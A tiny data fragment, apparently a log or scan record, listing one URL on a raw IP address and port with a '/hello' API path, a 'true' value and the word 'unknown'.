    http://157.173.198.190:15124/api/root_245842932284287/hello true
      		unknown